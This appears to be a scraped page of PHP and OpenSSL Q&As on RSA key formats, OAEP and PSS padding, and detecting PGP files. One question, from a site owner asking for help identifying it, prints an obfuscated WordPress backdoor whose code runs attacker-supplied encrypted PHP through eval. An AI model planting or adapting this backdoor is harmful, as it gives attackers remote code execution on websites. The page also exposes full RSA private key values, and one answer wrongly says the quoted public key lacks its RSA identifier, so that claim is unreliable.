Convert rsa keys into pem format - php

I have an RSA keypair in decimal format like this:
N: 131380300130444423689465024460852313971098730922811994958210650530501686748132880102503190365296216968351535889369502651601697016994057094307459860310817213533755054007252477133258682280599098830508996183566745393684789271087614478241425320061726198137426426490142200235611844869472546908487777450913733956847
E: 65537
D: 80297204963989065579466889768824319637950465647088430322583084471355799970954766200860052948440422519604509972209521777162610037317804551817832746460011635684494412969232268215156141089492528372187753214602862715747188949826914338588271329247689858629892142371556575928454002581316958535707202236560574870513
P: 1224584489781086541356110467036625215751324632060784958572680296867401248241071907258999049522896850209985495153134079568147009917335592949603533318035603
Q: 10728561502026755927334064184961854822182870744919733441933716834397978727498603128211162084788541605856166966893670172798846339557261092973389679407794073
While OpenSSL (for PHP) requires that the key should be in PEM format. How do i convert them? It is very important that the public & private key "stays the same" (By that i mean that i can't just make a new keypair).
EDIT:
Or is it easier to make a pem cartificate and extracting all of those values in decimal format? And if so, how?

Short of doing it yourself (writing a small utitlity program to convert the key to PEM format) you could use the Java tool at this URL: http://www.platanus.cz/blog/converting-rsa-xml-key-to-pem
It requires the input to be in an XML file but that should be trivial for you to generate.

Try ssh2openpgp in the monkeyspehere project.
UPDATE: Try also this. It explains how to go from, in two steps, OpenSSH → OpenSSL → GnuPG.

Related

obfuscated PHP code in wordpress is it virus?

I was going through some of the codes of my WordPress website and realized some minified random PHP codes. These codes are hard to read with naked eyes.
now I'm wondering if this is a virus or what could it be? There are several files with such kind of code. Until someone helps me understand, I will treat it as a virus
<?php $_5fc427e4='aes-128-cbc';$_be5af5e5='//CWWSUBSCRIPT//';$_ca907758='LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDc2x3Q3gzN3pXUnl6TmxwTlJEUDE1MUt0NgpRa01LYURJL0VMblJwMERTb1dCTVhoMzdtSjhWb25FdjZYdVJmTlFMZUwwZ3ljVFFmY0NxSWZHV3lxdXN6WFowCi9YbC9MZmdwZFFhQVFEYzJLNDNwWE1CRTJJMmJROWVScFFMRFQrYVNWdlNqa01lSFR1Zy9QU1VjZFM1cjJQaTkKYVFLZVBvNGxyWHRldHpOMDNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=';$VERSION="0.3.0";$ID=$VERSION.' php-'.PHP_VERSION.'/'.PHP_OS.'/'.$_SERVER['SERVER_SOFTWARE'];error_reporting(0);#set_time_limit(3600);#ini_set('implicit_flush','On');#ini_set('default_socket_timeout','3600');#ini_set('file_uploads','On');#ini_set('max_execution_time','3600');#ini_set('max_input_time','3600');#ini_set('upload_max_filesize','32M');#ini_set('post_max_size','32M');$_b632135e=$_SERVER['REQUEST_METHOD'][0]?$_SERVER['REQUEST_METHOD'][0]: 'P';if($_b632135e=='G'){if(isset($_GET['debug'])&&_f454d8cb('./cwwdebug.data',$_GET['debug'])){error_reporting(-1);_99412630();exit;}}if($_b632135e!='P'){_b8e6b0c7(10);}$_7a03a6d6=false;foreach($_SERVER as $_52b6f489=>$_7a03a6d6){if(strtolower($_52b6f489)=='http_x_cww_tag'){$_7a03a6d6=pack("H*",$_7a03a6d6);break;}}if($_7a03a6d6===false)_b8e6b0c7(20);$_897afce9=false;$_2ae84ba2=openssl_pkey_get_public(base64_decode($_ca907758));openssl_public_decrypt($_7a03a6d6,$_897afce9,$_2ae84ba2);openssl_free_key($_2ae84ba2);if(!$_897afce9)_b8e6b0c7(30);$_0496934c=preg_match_all('/^([0-9]{10}):([0-9a-f]{32}):([0-9a-f]{32})$/i',$_897afce9,$_ed0783be);if(!$_0496934c)_b8e6b0c7(40);if($_ed0783be[1][0]<time())_b8e6b0c7(50);$_011ea5f3=array();$_011ea5f3[0]=pack("H*",$_ed0783be[2][0]);$_011ea5f3[1]=pack("H*",$_ed0783be[3][0]);if(eval('return 1;'))$_6ebae9e7=1;else if(is_callable('create_function'))$_6ebae9e7=2;else if(is_callable('file_put_contents'))$_6ebae9e7=3;else _b8e6b0c7(60);$_f178c330=array();for($i=9;$i>=0;$i--){$_ffc1d021=_35d71fd2($_POST[$i],$_f178c330[$i]);if($_ffc1d021>0)_b8e6b0c7($_ffc1d021+70);}if(empty($_f178c330[9]))_b8e6b0c7(80);while(#ob_end_clean());$_5daa2f51=32;ob_start('_97e99099',2);_b8e6b0c7(0);for($_3713da68=0;$_3713da68<=9;$_3713da68++){if(empty($_f178c330[$_3713da68]))continue;$_d84792e0=false;switch($_6ebae9e7){case 1: if(!eval($_f178c330[$_3713da68]))$_d84792e0=true;break;case 2: if(!call_user_func(create_function(null,$_f178c330[$_3713da68])))$_d84792e0=true;break;case 3: $_2226298e=tempnam(sys_get_temp_dir(),time());if(file_put_contents($_2226298e,"<?php\n".$_f178c330[$_3713da68]."\nreturn false;\n?".'>')){if(!(include($_2226298e)))$_d84792e0=true;unlink($_2226298e);}else{$_d84792e0=true;}break;}if($_d84792e0)_b8e6b0c7(90+$_3713da68);}ob_end_flush();while(#ob_end_flush());exit;function _b8e6b0c7($_4a728cd2){global $ID;if($_4a728cd2>0){header("HTTP/1.1 202 $_4a728cd2");header('Connection: close',true);}else{header('HTTP/1.1 200 OK');}header("X-Cww-Id: ".(implode(unpack("H*",$ID))));header('Cache-Control: must-revalidate');header('Pragma: no-cache');header('Expires: Thu,1 Jan 1970 00:00:01 GMT');flush();if(!$_4a728cd2)return;exit;}function _ceee992a(&$_5063af5c,&$_22acf907){global $_011ea5f3,$_5fc427e4;$_22acf907=openssl_decrypt($_5063af5c,$_5fc427e4,$_011ea5f3[0],false,$_011ea5f3[1]);return $_22acf907||false;}function _cf76f9f4(&$_269f3677,&$_5063af5c){global $_011ea5f3,$_5fc427e4;$_5063af5c=openssl_encrypt($_269f3677,$_5fc427e4,$_011ea5f3[0],false,$_011ea5f3[1]);return $_5063af5c||false;}function _2e082d06(&$_16ae1ab0,&$_298c83b2){if(function_exists('gzdecode')){$_298c83b2=gzdecode($_16ae1ab0);return $_298c83b2||false;}else if(substr($_16ae1ab0,0,3)=="\x1f\x8b\x08"){$_3713da68=10;$_d59a8e8c=ord(substr($_16ae1ab0,3,1));if($_d59a8e8c>0){if($_d59a8e8c & 4){list($_c4c8650e)=unpack('v',substr($_16ae1ab0,$_3713da68,2));$_3713da68+=(2+$_c4c8650e);}if($_d59a8e8c & 8)$_3713da68=strpos($_16ae1ab0,"\0",$_3713da68)+1;if($_d59a8e8c & 16)$_3713da68=strpos($_16ae1ab0,"\0",$_3713da68)+1;if($_d59a8e8c & 2)$_3713da68+=2;}$_298c83b2=gzinflate(substr($_16ae1ab0,$_3713da68,-8));return $_298c83b2||false;}return false;}function _35d71fd2(&$_5063af5c,&$_22acf907){global $_be5af5e5;if(empty($_5063af5c))return-1;$_16ae1ab0=false;if(!_ceee992a($_5063af5c,$_16ae1ab0))return 1;if(!_2e082d06($_16ae1ab0,$_22acf907))return 2;$_c891de4a=strpos($_22acf907,$_be5af5e5);if($_c891de4a===false||$_c891de4a!=0)return 3;return 0;}$_1e23290b='';$_ab7bcfbf=0;function _97e99099($_c9fd7070,$_b46ca1b2){global $_1e23290b,$_ab7bcfbf,$_5daa2f51;$_1e23290b.=$_c9fd7070;$_ab7bcfbf++;$_4b8df1b0=NULL;if($_1e23290b&&($_b46ca1b2||$_ab7bcfbf>$_5daa2f51)){global $_011ea5f3;$_4d08b43b=gzencode($_1e23290b);_cf76f9f4($_4d08b43b,$_4b8df1b0,$_011ea5f3[0],$_011ea5f3[1]);$_4b8df1b0.="\n";$_ab7bcfbf=0;$_1e23290b=NULL;}return $_4b8df1b0;}function _f454d8cb($_81a3c9f8,$_ec530a51){if($_68727f18=fopen($_81a3c9f8,'r')){$_f4de9e3e=fgets($_68727f18);fclose($_68727f18);return $_ec530a51==trim($_f4de9e3e);}return false;}function _99412630(){global $ID;echo "<html><pre>\n";echo "OUR VERSION: ".(pack("H*",$ID))."\n\n";echo "GLOBAL VARS:\n";print_r($GLOBALS);$_227afe03=array('openssl_get_cipher_methods','openssl_pkey_get_private','openssl_private_decrypt','openssl_decrypt','openssl_encrypt','gzdecode','gzencode','gzinflate','create_function','call_user_func','file_put_contents','tempnam',);echo "\n\nAVAILABLE FUNCTIONS:\n";foreach($_227afe03 as $f){echo "$f():\te:".(function_exists($f)+0).',c:'.(is_callable($f)+0)."\n";}echo "\n\nCURRENT DIR AND STATS:\n";echo(getcwd())."\n";print_r(stat('.'));if(is_callable('openssl_get_cipher_methods')){echo "\n\nOPENSSL SUPPORTED METHODS:\n";print_r(openssl_get_cipher_methods());}echo "\n\nTHIS SERVER DATE/TIME:\n";echo(date('r'));if(is_callable('phpinfo')){echo "\n\nPHP INFO:\n";ob_start();phpinfo();$_aabae31f=ob_get_contents();ob_end_clean();$_aabae31f=preg_replace('/<[^>]+>/i',"\t",$_aabae31f);echo "$_aabae31f\n</pre></html>";}else{echo "\n\nPHP INFO:(func is not callable)\n";}} ?>
This contains a RSA public key:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCslwCx37zWRyzNlpNRDP151Kt6
QkMKaDI/ELnRp0DSoWBMXh37mJ8VonEv6XuRfNQLeL0gycTQfcCqIfGWyquszXZ0
/Xl/LfgpdQaAQDc2K43pXMBE2I2bQ9eRpQLDT+aSVvSjkMeHTug/PSUcdS5r2Pi9
aQKePo4lrXtetzN03QIDAQAB
-----END PUBLIC KEY-----
Note that your file is weird. A RSA public key consists of two integers, the modulus (n) and the public exponent (e). It is normally encoded as an ASN.1 structure that is a SEQUENCE of two INTEGER values. That structure is then supposed to be DER-encoded, and the resulting sequence of bytes to become the contents of a BIT STRING in another, outer ASN.1 structure that also contains an explicit identifier for the key type (i.e. an indication that the key is really of type RSA).
In your case, that outer structure is missing. So there is formally no indication, neither in the encoded ASN.1 structure, nor in the PEM header ("BEGIN PUBLIC KEY"), that the key is an RSA key.

php openssl - RSA_padding_check_PKCS1_type_2 and RSA_EAY_PRIVATE_DECRYPT:padding check failed:rsa_eay.c:602:

I´m having a hard time understanding what is my problem here, so i was hopping someone could help me. So, i have a xml file which was build respecting W3C recomendationsand because of this, there are specific tags which were encrypted with my public key, and now i need to decrypt them using my private key, so for example this chunck of code:
<AuthenticatedPrivate Id="ID_AuthenticatedPrivate">
<enc:EncryptedKey xmlns:enc="http://www.w3.org/2001/04/xmlenc#">
<enc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" />
<enc:CipherData>
<enc:CipherValue>lwYdkG5Q5wfW/S7UzZDtnJMcAng3w3ketzkh68y1BeX+okNEj48b5rSWUC/4mNhT
N2QsHxOCkvKDavIGGSAP23tdp0VtdeHTNAszcgK4Xzc8VHGUEiswONCOxTzNWuwj
....
zfHceeHN50b8vzM/Rt/jTUq54eC3nE+lP3eTXbLj/YvpPo8H45Sti9YP9WZixGHz
Uvf6Go31+3JwsXXIUl3O+w==</enc:CipherValue>
</enc:CipherData>
</enc:EncryptedKey>
<enc:EncryptedKey xmlns:enc="http://www.w3.org/2001/04/xmlenc#">
<enc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" />
<enc:CipherData>
<enc:CipherValue>TvC1LCspgTsXqM1b8ClPCtAkAdXXzxe+Av7LMxYtUaqUbd8HeBuaS1cx3WwoVRDr
TWcrBEnv24GbIB5ygcMFW3DlGsXfmWJGnRNx/6xT/U15RQPgoD9AP4WFEHxthzP0
....
1ajG5lDjEu4TqjdL7DPGNu9HfI9boerJ5FUFQ/fMdD4xbDHdc4DgIQdTUgLFGHJz
RwOyfOAcSNoO/fpAkMXoEw==</enc:CipherValue>
</enc:CipherData>
</enc:EncryptedKey>
</AuthenticatedPrivate>
I need to decrypt that, so what i have done was:
Parsed the xml, and got the tag i need (CipherValue).And actually putted that inside a file, cypher.xml
cat cypher.xml| base64 -D > rawFile
openssl rsautl -decrypt -in rawFile -out plaintext -inkey private.pem
and the result was:
4476804716:error:0407109F:rsa routines:RSA_padding_check_PKCS1_type_2:pkcs decoding error:rsa_pk1.c:273:
4476804716:error:04065072:rsa routines:RSA_EAY_PRIVATE_DECRYPT:padding check failed:rsa_eay.c:602:
What am i missing here? i´m losing too much time on this, i saw something about using the padding, but i did that directly on my php app using:
openssl_private_decrypt($tag, $decrypted, $privkey, OPENSSL_PKCS1_PADDING);
but with NO! luck at all.
Thanks for your time, regards
EDIT
The code sequence i´m using is this:
$xmlFile = file_get_contents(path_to_my_xml_file);
$privkey = openssl_pkey_get_private(path_to_my_private_key);
$arrCplContent = XmlToArray::convert($xmlFile);
$tag = $arrCplContent['AuthenticatedPrivate']['enc:EncryptedKey'][0]['enc:CipherData']['enc:CipherValue'];
$b64Dec = base64_decode($tag);
$result = openssl_private_decrypt($b64Dec, $decrypted, $privkey, OPENSSL_PKCS1_OAEP_PADDING);
when i log this, the result is:
error:04099079:rsa routines:RSA_padding_check_PKCS1_OAEP_mgf1:oaep decoding error
Is this the proper way of doing things, considering this ?.
First of all, it seems you are using PKCS#1 v1.5 padding instead of OAEP padding when performing the decryption. You can see OPENSSL_PKCS1_OAEP_PADDING listed for openssl_private_decrypt.
Note the line in the XML document containing the OAEP padding indication:
<enc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" />
There are two CipherValue elements in there. Usually that means that the ciphertext was created using two different key pairs and thus two separate private keys. You may just need to decrypt the other EncryptedKey.
To solve this in general: XML encryption or XML enc is a full standard, and you need to either implement the standard or - what's commonly recommended - use a library to decrypt it.
Disclaimer: I'm not affiliated with the shown library, and I don't have any opinion on it's security.

Is there any way to generate PSS padded signatures in PHP?

In PHP, I want to sign some documents with a padding of PSS, and a digest of SHA512.
According to the docs, at http://www.php.net/manual/en/function.openssl-sign.php, I can set the digest however I need, by using a string, such as
openssl_sign($text-to-sign,$binary_signature,$privkey,"sha512");
I don't see any way to set the padding, however.
Can anyone please help me understand how I can sign text, using the RSA-PSS padding style, as seen in version 2.1 of PKCS #1?
I had the same needs as you, but in 2019 (I assume we got better libraries now ;)
As you already discovered, the way is using phpseclib, which is now at version 2.0 in Debian Stretch.
Signature Generation
This is the code I used to sign some binary data, using a 8192 RSA key, with PSS padding and a SHA512 hash function:
require "/usr/share/php/phpseclib/autoload.php";
use phpseclib\Crypt\RSA;
// INPUT DATA
$privkey = "..."; // I used a RSA private key in PEM format, generated by openssl, but phpseclib supports many formats...
$mydata = "..."; // I generated some binary bytes here...
// SIGNING
$rsa = new RSA();
if ($rsa->loadKey($privkey) != TRUE) {
echo "Error loading private key";
return;
}
$rsa->setHash("sha512");
$rsa->setMGFHash("sha512"); // This NEEDS to be set, or the default will be used
$rsa->setSignatureMode(RSA::SIGNATURE_PSS); // This doesn't need to be set, as it is already the default value
$signatureBytes = $rsa->sign($mydata);
$signatureBytes is a binary string (or an array of bytes, as you call it in C/C++/C#). It doesn't have any encoding, and may contain NULL bytes. This is your wanted signature.
Side note: it's nearly required to insall php-gmp, or you'll get painfully slow signing times. Here there are some benchmarks.
Signature Verification with OpenSSL
openssl dgst -sha512 -sigopt rsa_padding_mode:pss -sigopt
rsa_pss_saltlen:-1 -verify pubkey.pem -signature signature.bin
plaintextdata.dat
In detail, the -sigopt rsa_pss_saltlen:-1 tells openssl to use a salt length that matches the hashing algorithm size. (this is what the Microsoft APIs do, and there's no way to change that behavior)
Signature Verification with C++/CLI (.NET)
In order to be able to use the RSA public key in the .NET world, without using any other library, you need first to export it in BLOB format using openssl:
openssl rsa -pubin -inform PEM -in pubkey.pem -outform "MS PUBLICKEYBLOB" -out pubkey.blob
Then, you need .NET 4.6, with the new RSACng CryptoProvider.
And that's the code:
// Import the public key (as BLOBDATA)
RSACryptoServiceProvider^ rsaCsp = gcnew RSACryptoServiceProvider();
rsaCsp->ImportCspBlob(pubkey);
RSAParameters rsaParams = rsaCsp->ExportParameters(false);
RSA^ rsa = gcnew RSACng();
rsa->ImportParameters(rsaParams);
array<Byte>^ dataBytes = ...;
array<Byte>^ signatureBytes = ...;
bool signIsValid = rsa->VerifyData(dataBytes, signatureBytes, HashAlgorithmName::SHA512, RSASignaturePadding::Pss);
In order not to be "That Guy", I thought I'd leave an answer to the question, given how this does show up in Google and all ;)
I am able to get the PSS padding via http://phpseclib.sourceforge.net/
So far, I haven't gotten it to interop with OpenSSL or LibTomCrypt, but..
I'm probably just configuring it wrong.
I'm sure you'll have better luck, future person!
-CPD

in php how to find already encrypted file in specific folder

I am using PGP (GNU Privacy Guard) for encrypting the file.
while encrypting i removed the '.pgp' extension of encrypted file.
Now some how i want to know which file is already encrypted in the specific folder.
Note :- my goal is that ... do not encrypt any file twice ... so before encrypt any file .. i want to check is the file already encrypted.
in php can we find out which file is already encrypted ?
PGP file all starts with "-----BEGIN PGP MESSAGE-----".
So you can do something like this:
$content = file_get_contents($filename);
$encrypted = strpos($content, '-----BEGIN PGP MESSAGE-----') === 0;
I really don't know much about how it works, or how you could look at the contents of the file to tell if it is encrypted properly, but could you try decrypting them? If you know you're only working with plain text files, you could examine the first 500 bytes of the decrypted data and if there's strange characters (outside the standard a-z A-Z 0-9 + punctuation, etc), then that could be a clue that the file wasn't encrypted.
This really is a half-arsed answer, I know, but it was a bit long to fit into a comment.
You can't unless you understand the algorithm used in the encryption. Once you understand it, you can apply that to check whether a file is already encrypted.
Also check to make sure that there is already a function available in PGP for checking if something is already encrypted. This is usually present in encryption solutions.
Thanks
There are two possible formats for OpenPGP data, binary and ascii armored.
Ascii-armored files are easy to recognize by looking for "-----BEGIN PGP MESSAGE-----" which can also be done using the unix command file:
$ file encrypted
encrypted: PGP message
#ZZ_Coders answer is totally fine if you're only dealing with ascii armored encrypted files.
If it shows something else, it's not an OpenPGP message - or in binary format. This isn't as easy to recognize (at least I don't know which magic packets you could look for), but you can easily use the gpg command to test the file:
$ gpg --list-only --list-packets encrypted
:pubkey enc packet: version 3, algo 1, keyid DEAFBEEFDEADBEEF
data: [2048 bits]
:encrypted data packet:
length: 73
mdc_method: 2
If it isn't encrypted, response will look like this:
$ gpg --list-only --list-packets something_else
gpg: no valid OpenPGP data found.
In PHP, you could use this code to check if a file is OpenPGP-encrypted:
if (strpos(`gpg --list-only --list-packets my_file.txt 2>&1`,
'encrypted data packet'))
echo "encrypted file";

What's the difference between openssl_pkcs12_export() and openssl_x509_export() PHP functions?

This is probably a stupid question, but as far as I can tell there's not much difference aside the additional parameters in pkcs12 version.
More importantly than the formats themselves, the pkcs12 export stores off the private key along with the certificate, whereas the x509 one just stores the certificate.
From the docs, the output file format differs:
openssl_pkcs12_export() stores x509 ... in a PKCS#12 file format.
openssl_x509_export() stores x509 ... in a PEM encoded format.

Categories